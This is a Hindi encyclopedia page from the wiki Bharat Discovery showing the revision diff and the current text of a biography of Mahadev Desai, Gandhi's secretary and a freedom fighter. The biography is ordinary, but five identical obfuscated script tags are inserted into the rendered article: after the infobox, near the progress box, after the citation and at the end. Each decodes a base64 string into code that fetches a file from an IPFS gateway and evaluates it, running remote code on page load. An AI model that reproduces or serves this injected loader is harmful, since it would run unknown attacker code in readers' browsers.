"महादेव देसाई" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
छो (Text replacement - "विद्वान " to "विद्वान् ")
 
(7 सदस्यों द्वारा किये गये बीच के 12 अवतरण नहीं दर्शाए गए)
पंक्ति 1: पंक्ति 1:
{{पुनरीक्षण}}
 
 
{{सूचना बक्सा राजनीतिज्ञ
 
{{सूचना बक्सा राजनीतिज्ञ
 
|चित्र=Mahadev-Desai-And-Gandhi.jpg
 
|चित्र=Mahadev-Desai-And-Gandhi.jpg
पंक्ति 5: पंक्ति 4:
 
|पूरा नाम=महादेव हरिभाई देसाई
 
|पूरा नाम=महादेव हरिभाई देसाई
 
|अन्य नाम=
 
|अन्य नाम=
|जन्म=[[1 जनवरी]], 1892
+
|जन्म=[[1 जनवरी]], [[1892]]
 
|जन्म भूमि=सरस गाँव, [[सूरत ज़िला]]  
 
|जन्म भूमि=सरस गाँव, [[सूरत ज़िला]]  
|मृत्यु=[[15 अगस्त]], 1942
+
|मृत्यु=[[15 अगस्त]], [[1942]]
 
|मृत्यु स्थान=
 
|मृत्यु स्थान=
 
|मृत्यु कारण=
 
|मृत्यु कारण=
|अविभावक=हरिभाई देसाई  
+
|अभिभावक=हरिभाई देसाई  
 
|पति/पत्नी=
 
|पति/पत्नी=
|संतान=
+
|संतान=[[नारायण भाई देसाई]]
 
|स्मारक=  
 
|स्मारक=  
 
|क़ब्र=  
 
|क़ब्र=  
पंक्ति 25: पंक्ति 24:
 
|शिक्षा=
 
|शिक्षा=
 
|पुरस्कार-उपाधि=
 
|पुरस्कार-उपाधि=
|विशेष योगदान='महादेव भाई की डायरी'8 खंडों में प्रकाशित इस डायरी में उन्होंने गांधीजी के नित्य प्रति के क्रिया कलापों का अधिकारिक वर्णन प्रस्तुत किया है।
+
|विशेष योगदान='महादेव भाई की डायरी', 8 खंडों में प्रकाशित इस डायरी में उन्होंने गांधीजी के नित्य प्रति के क्रिया कलापों का अधिकारिक वर्णन प्रस्तुत किया है।
 
|संबंधित लेख=
 
|संबंधित लेख=
 
|शीर्षक 1=रचनाएँ
 
|शीर्षक 1=रचनाएँ
|पाठ 1='विद गांधी जी इन सीलोन'', ''द स्टोरी ऑफ बारदोली'', ''स्वदेशी टू एण्ड फाल्स'' आदि।  
+
|पाठ 1='विद गांधी जी इन सीलोन', 'द स्टोरी ऑफ बारदोली', 'स्वदेशी टू एण्ड फाल्स' आदि।  
 
|शीर्षक 2=
 
|शीर्षक 2=
 
|पाठ 2=
 
|पाठ 2=
पंक्ति 35: पंक्ति 34:
 
|अद्यतन=
 
|अद्यतन=
 
}}
 
}}
 
+
'''महादेव हरिभाई देसाई''' ([[अंग्रेज़ी]]: ''Mahadev Haribhai Desai'', जन्म- [[1 जनवरी]], [[1892]]; मृत्यु- [[15 अगस्त]], [[1942]]) एक प्रसिद्ध स्वतंत्रता सेनानी थे। वे राष्ट्रपिता [[महात्मा गाँधी]] के विश्वसनीय सचिव थे महादेव देसाई ने [[चंपारन सत्याग्रह]], [[बारदोली सत्याग्रह]] और [[नमक सत्याग्रह]] में भाग लिया और इसी दौरान वह गिरफ्तार किए गए।   
'''महादेव देसाई अथवा महादेव हरिभाई देसाई''' ([[अंग्रेज़ी भाषा|अंग्रेज़ी]]: ''Mahadev Desai'' अथवा ''Haribhai Mahadev Desai'') (जन्म- [[1 जनवरी]], 1892; मृत्यु- [[15 अगस्त]], 1942) एक प्रसिद्ध स्वतंत्रता सेनानी थे। महादेव देसाई ने [[चंपारन सत्याग्रह]], [[बारदोली सत्याग्रह]] और [[नमक सत्याग्रह]] में भाग लिया और इसी दौरान वह गिरफ्तार किए गए।   
 
 
==जीवन परिचय==  
 
==जीवन परिचय==  
[[गांधी जी]] के सचिव और स्वतंत्रता सेनानी महादेव हरिभाई देसाई का जन्म 1 जनवरी, 1892 ई. को सूरत ज़िले के सरस गाँव में हुआ था। इनके पिता हरिभाई देसाई अध्यापक थे। वे गणित और [[रामायण]], [[महाभारत]], [[गीता]] जैसे [[ग्रंथ|ग्रंथों]] के प्रेमी थे। बाद में वे [[अहमदाबाद]] के महिला प्रशिक्षण महाविद्यालय के प्राचार्य बने। पिता के गुणों का महादेव भाई पर पूरा प्रभाव पड़ा। उन्होंने [[मुंबई]] में उच्च शिक्षा पाई और 1913 में कानून की डिग्री ली। इसके बाद उन्होंने कुछ दिन वकालत की, पर उसमें विशेष सफलता नहीं मिली। फिर कुछ समय तक सरकारी बैंक में काम करते रहे पर वहाँ की अनियमित और भाग-दौड़ देखकर उसे भी छोड़ दिया।  
+
[[गांधी जी]] के सचिव और स्वतंत्रता सेनानी महादेव हरिभाई देसाई का जन्म 1 जनवरी, 1892 ई. को [[सूरत ज़िला|सूरत ज़िले]] के सरस गाँव में हुआ था। इनके पिता हरिभाई देसाई अध्यापक थे। वे गणित और [[रामायण]], [[महाभारत]], [[गीता]] जैसे [[ग्रंथ|ग्रंथों]] के प्रेमी थे। बाद में वे [[अहमदाबाद]] के महिला प्रशिक्षण महाविद्यालय के प्राचार्य बने। पिता के गुणों का महादेव भाई पर पूरा प्रभाव पड़ा। उन्होंने [[मुंबई]] में उच्च शिक्षा पाई और 1913 में क़ानून की डिग्री ली। इसके बाद उन्होंने कुछ दिन वकालत की, पर उसमें विशेष सफलता नहीं मिली। फिर '''कुछ समय तक सरकारी बैंक में काम करते रहे पर वहाँ की अनियमितताएं और भाग-दौड़ देखकर उसे भी छोड़ दिया।'''
==स्वंत्रता संग्राम==  
+
==स्वतंत्रता संग्राम==  
[[31 अगस्त]], 1917 का दिन महादेव देसाई के जीवन में दिशा निर्धारक सिद्ध हुआ। उसी दिन उनकी भेंट गांधीजी से हुई और फिर वे जीवनपर्यंत उन्हीं के साथ रहे। उन्होंने [[चंपारन सत्याग्रह]], [[बारदोली सत्याग्रह]] और [[नमक सत्याग्रह]] में भाग लिया और इसी दौरान गिरफ्तार किए गए। 1921 में महादेव भाई ने [[इलाहाबाद]] आकर [[पंडित मोतीलाल नेहरू]] के पत्र 'इंडिपेंडेंट' के संपादन में सहयोग दिया। यहाँ भी उन्हें जेल की सजा हुई थी। 1923 में वे अहमदाबाद वापस चले गए और गांधीजी को उनके पत्र 'नवजीवन' के संपादन में मदद करते रहे।  
+
[[31 अगस्त]], 1917 का दिन महादेव देसाई के जीवन में दिशा निर्धारक सिद्ध हुआ। उसी दिन उनकी भेंट गांधीजी से हुई और फिर वे जीवनपर्यंत उन्हीं के साथ रहे। उन्होंने [[चंपारन सत्याग्रह]], [[बारदोली सत्याग्रह]] और [[नमक सत्याग्रह]] में भाग लिया और इसी दौरान गिरफ्तार किए गए। 1921 में महादेव भाई ने [[इलाहाबाद]] आकर [[पंडित मोतीलाल नेहरू]] के पत्र 'इंडिपेंडेंट' के संपादन में सहयोग दिया। यहाँ भी उन्हें जेल की सज़ा हुई थी। 1923 में वे अहमदाबाद वापस चले गए और गांधीजी को उनके पत्र 'नवजीवन' के संपादन में मदद करते रहे।  
 
==रचना==
 
==रचना==
महादेव भाई बहुपठित व्यक्ति थे। उन्हें [[गुजराती भाषा|गुजराती]], [[संस्कृत भाषा|संस्कृत]], [[बांग्ला भाषा]], [[हिन्दी भाषा|हिन्दी]], [[मराठी भाषा|मराठी]] और [[अंग्रेज़ी भाषा]] का बहुत अच्छा ज्ञान था। गांधीजी के जीवन दर्शन के वे अधिकारी विद्वान थे। उन्होंने अनेक पुस्तकों की रचना की जैसे- विद गांधी जी इन सीलोन, द स्टोरी ऑफ बारदोली, स्वदेशी टू एण्ड फाल्स, अनवर्दी ऑफ वर्धा, दि नेशंस वाइस, गांधी सेवा संघ, मौलाना अबुल कलाम आजाद, दि गीता एकार्डिंग टु गांधीजी, वीर वल्लभ भाई, खुदाई खिदमतगार, एक धर्मयुद्ध आदि।
+
महादेव भाई बहुपठित व्यक्ति थे। उन्हें [[गुजराती भाषा|गुजराती]], [[संस्कृत भाषा|संस्कृत]], [[बांग्ला भाषा]], [[हिन्दी भाषा|हिन्दी]], [[मराठी भाषा|मराठी]] और [[अंग्रेज़ी भाषा]] का बहुत अच्छा ज्ञान था। गांधीजी के जीवन दर्शन के वे अधिकारी विद्वान् थे। उन्होंने अनेक पुस्तकों की रचना की जैसे- विद गांधी जी इन सीलोन, द स्टोरी ऑफ़ बारदोली, स्वदेशी ट्रू एण्ड फ़ॉल्स, अनवर्दी ऑफ़ वर्धा, दि नेशंस वॉइस, गांधी सेवा संघ, मौलाना अबुल कलाम आज़ाद, दि गीता एकार्डिंग टु गांधीजी, वीर वल्लभ भाई, ख़ुदाई ख़िदमतगार, एक धर्मयुद्ध आदि।
  
 
==योगदान==
 
==योगदान==
महादेव भाई का सबसे बड़ा योगदान है- 'महादेव भाई की डायरी'8 खंडों में प्रकाशित इस डायरी में उन्होंने गांधीजी के नित्य प्रति के क्रिया कलापों का अधिकारिक वर्णन प्रस्तुत किया है। इसका प्रकाशन महादेव भाई की मृत्यु के बाद हुआ। महादेव देसाई के बारे में गांधी जी का कहना था कि जितना काम अकेले महादेव कर लेते हैं, आधे दर्जन सचिव होते, तब भी उतना काम नहीं कर सकते थे।  
+
महादेव भाई का सबसे बड़ा योगदान है- 'महादेव भाई की डायरी', 8 खंडों में प्रकाशित इस डायरी में उन्होंने गांधीजी के नित्य प्रति के क्रिया कलापों का अधिकारिक वर्णन प्रस्तुत किया है। इसका प्रकाशन महादेव भाई की मृत्यु के बाद हुआ। '''महादेव देसाई के बारे में गांधी जी का कहना था कि जितना काम अकेले महादेव कर लेते हैं, आधे दर्जन सचिव होते, तब भी उतना काम नहीं कर सकते थे।'''
 
==निधन==  
 
==निधन==  
1924 से 1928 तक [[भारत]]-यात्रा में गांधी के साथ थे। 1931 के गोलमेज सम्मेलन में गांधीजी के साथ [[लंदन]] गए। 1942 के 'भारत छोड़ो' आंदोलन में उन्हें भी गांधीजी के साथ [[पूना]] के आग़ा ख़ा महल में नजरबंद कर दिया गया था। वहीं पर [[15 अगस्त]] 1942 को बंदी की दशा में ही उनका देहांत हो गया।  
+
[[1924]] से [[1928]] तक [[भारत]]-यात्रा में वे गांधीजी के साथ थे। [[1931]] के [[गोलमेज सम्मेलन]] में गांधीजी के साथ [[लंदन]] गए। [[1942]] के 'भारत छोड़ो' आंदोलन में उन्हें भी गांधीजी के साथ [[पूना]] के आग़ा ख़ा महल में नजरबंद कर दिया गया था। वहीं पर [[15 अगस्त]] 1942 को बंदी की दशा में ही उनका देहांत हो गया।  
  
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }}
+
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक2 |माध्यमिक= |पूर्णता= |शोध= }}
{{संदर्भ ग्रंथ}}
 
 
==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
 
{{cite book | last =शर्मा | first =लीलाधर  | title =भारतीय चरित कोश  | edition = | publisher =शिक्षा भारती, दिल्ली | location =भारत डिस्कवरी पुस्तकालय  | language =हिन्दी  | pages =पृष्ठ 611 | chapter =}}
 
{{cite book | last =शर्मा | first =लीलाधर  | title =भारतीय चरित कोश  | edition = | publisher =शिक्षा भारती, दिल्ली | location =भारत डिस्कवरी पुस्तकालय  | language =हिन्दी  | pages =पृष्ठ 611 | chapter =}}
 
 
<references/>
 
<references/>
 
 
==बाहरी कड़ियाँ==
 
==बाहरी कड़ियाँ==
 +
*[http://aajtak.intoday.in/story/-1-36785.html महात्मा गांधी की छाया जैसे थे महादेव देसाई]
 +
*[http://samatavadi.wordpress.com/2008/08/10/mahadev_desai_prabhakar_machve/ तत्वज्ञानी महादेव देसाई : प्रभाकर माचवे]
 +
*[http://kashivishvavidyalay.wordpress.com/2007/08/09/mahadev-desaisarojini-naidu/ वे जिन्दा हैं : सरोजिनी नायडू]
 +
*[http://hindustaan-ke-yuvajosh.blogspot.in/2009/01/50-100.html राष्ट्रपिता ने कहा था कि वह 50 साल की ज़िंदगी में 100 साल का काम कर गए।]
  
 
==संबंधित लेख==
 
==संबंधित लेख==
 
{{स्वतन्त्रता सेनानी}}
 
{{स्वतन्त्रता सेनानी}}
[[Category: स्वतन्त्रता सेनानी]]  [[Category: प्रसिद्ध व्यक्तित्व]][[Category: प्रसिद्ध व्यक्तित्व कोश]] [[Category: चरित कोश]] [[Category: महात्मा गाँधी]]  
+
[[Category:स्वतन्त्रता सेनानी]][[Category:चरित कोश]] [[Category:महात्मा गाँधी]]  
 
[[Category:साहित्य कोश]][[Category:लेखक]]
 
[[Category:साहित्य कोश]][[Category:लेखक]]
 
 
__INDEX__
 
__INDEX__
 
__NOTOC__
 
__NOTOC__

14:55, 6 जुलाई 2017 के समय का अवतरण

महादेव देसाई
महादेव देसाई और गांधी जी
पूरा नाम महादेव हरिभाई देसाई
जन्म 1 जनवरी, 1892
जन्म भूमि सरस गाँव, सूरत ज़िला
मृत्यु 15 अगस्त, 1942
अभिभावक हरिभाई देसाई
संतान नारायण भाई देसाई
नागरिकता भारतीय
भाषा गुजराती, संस्कृत, बांग्ला भाषा, हिन्दी, मराठी और अंग्रेज़ी भाषा
विशेष योगदान 'महादेव भाई की डायरी', 8 खंडों में प्रकाशित इस डायरी में उन्होंने गांधीजी के नित्य प्रति के क्रिया कलापों का अधिकारिक वर्णन प्रस्तुत किया है।
रचनाएँ 'विद गांधी जी इन सीलोन', 'द स्टोरी ऑफ बारदोली', 'स्वदेशी टू एण्ड फाल्स' आदि।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

महादेव हरिभाई देसाई (अंग्रेज़ी: Mahadev Haribhai Desai, जन्म- 1 जनवरी, 1892; मृत्यु- 15 अगस्त, 1942) एक प्रसिद्ध स्वतंत्रता सेनानी थे। वे राष्ट्रपिता महात्मा गाँधी के विश्वसनीय सचिव थे महादेव देसाई ने चंपारन सत्याग्रह, बारदोली सत्याग्रह और नमक सत्याग्रह में भाग लिया और इसी दौरान वह गिरफ्तार किए गए।

जीवन परिचय

गांधी जी के सचिव और स्वतंत्रता सेनानी महादेव हरिभाई देसाई का जन्म 1 जनवरी, 1892 ई. को सूरत ज़िले के सरस गाँव में हुआ था। इनके पिता हरिभाई देसाई अध्यापक थे। वे गणित और रामायण, महाभारत, गीता जैसे ग्रंथों के प्रेमी थे। बाद में वे अहमदाबाद के महिला प्रशिक्षण महाविद्यालय के प्राचार्य बने। पिता के गुणों का महादेव भाई पर पूरा प्रभाव पड़ा। उन्होंने मुंबई में उच्च शिक्षा पाई और 1913 में क़ानून की डिग्री ली। इसके बाद उन्होंने कुछ दिन वकालत की, पर उसमें विशेष सफलता नहीं मिली। फिर कुछ समय तक सरकारी बैंक में काम करते रहे पर वहाँ की अनियमितताएं और भाग-दौड़ देखकर उसे भी छोड़ दिया।

स्वतंत्रता संग्राम

31 अगस्त, 1917 का दिन महादेव देसाई के जीवन में दिशा निर्धारक सिद्ध हुआ। उसी दिन उनकी भेंट गांधीजी से हुई और फिर वे जीवनपर्यंत उन्हीं के साथ रहे। उन्होंने चंपारन सत्याग्रह, बारदोली सत्याग्रह और नमक सत्याग्रह में भाग लिया और इसी दौरान गिरफ्तार किए गए। 1921 में महादेव भाई ने इलाहाबाद आकर पंडित मोतीलाल नेहरू के पत्र 'इंडिपेंडेंट' के संपादन में सहयोग दिया। यहाँ भी उन्हें जेल की सज़ा हुई थी। 1923 में वे अहमदाबाद वापस चले गए और गांधीजी को उनके पत्र 'नवजीवन' के संपादन में मदद करते रहे।

रचना

महादेव भाई बहुपठित व्यक्ति थे। उन्हें गुजराती, संस्कृत, बांग्ला भाषा, हिन्दी, मराठी और अंग्रेज़ी भाषा का बहुत अच्छा ज्ञान था। गांधीजी के जीवन दर्शन के वे अधिकारी विद्वान् थे। उन्होंने अनेक पुस्तकों की रचना की जैसे- विद गांधी जी इन सीलोन, द स्टोरी ऑफ़ बारदोली, स्वदेशी ट्रू एण्ड फ़ॉल्स, अनवर्दी ऑफ़ वर्धा, दि नेशंस वॉइस, गांधी सेवा संघ, मौलाना अबुल कलाम आज़ाद, दि गीता एकार्डिंग टु गांधीजी, वीर वल्लभ भाई, ख़ुदाई ख़िदमतगार, एक धर्मयुद्ध आदि।

योगदान

महादेव भाई का सबसे बड़ा योगदान है- 'महादेव भाई की डायरी', 8 खंडों में प्रकाशित इस डायरी में उन्होंने गांधीजी के नित्य प्रति के क्रिया कलापों का अधिकारिक वर्णन प्रस्तुत किया है। इसका प्रकाशन महादेव भाई की मृत्यु के बाद हुआ। महादेव देसाई के बारे में गांधी जी का कहना था कि जितना काम अकेले महादेव कर लेते हैं, आधे दर्जन सचिव होते, तब भी उतना काम नहीं कर सकते थे।

निधन

1924 से 1928 तक भारत-यात्रा में वे गांधीजी के साथ थे। 1931 के गोलमेज सम्मेलन में गांधीजी के साथ लंदन गए। 1942 के 'भारत छोड़ो' आंदोलन में उन्हें भी गांधीजी के साथ पूना के आग़ा ख़ा महल में नजरबंद कर दिया गया था। वहीं पर 15 अगस्त 1942 को बंदी की दशा में ही उनका देहांत हो गया।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

शर्मा, लीलाधर भारतीय चरित कोश (हिन्दी)। भारत डिस्कवरी पुस्तकालय: शिक्षा भारती, दिल्ली, पृष्ठ 611।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>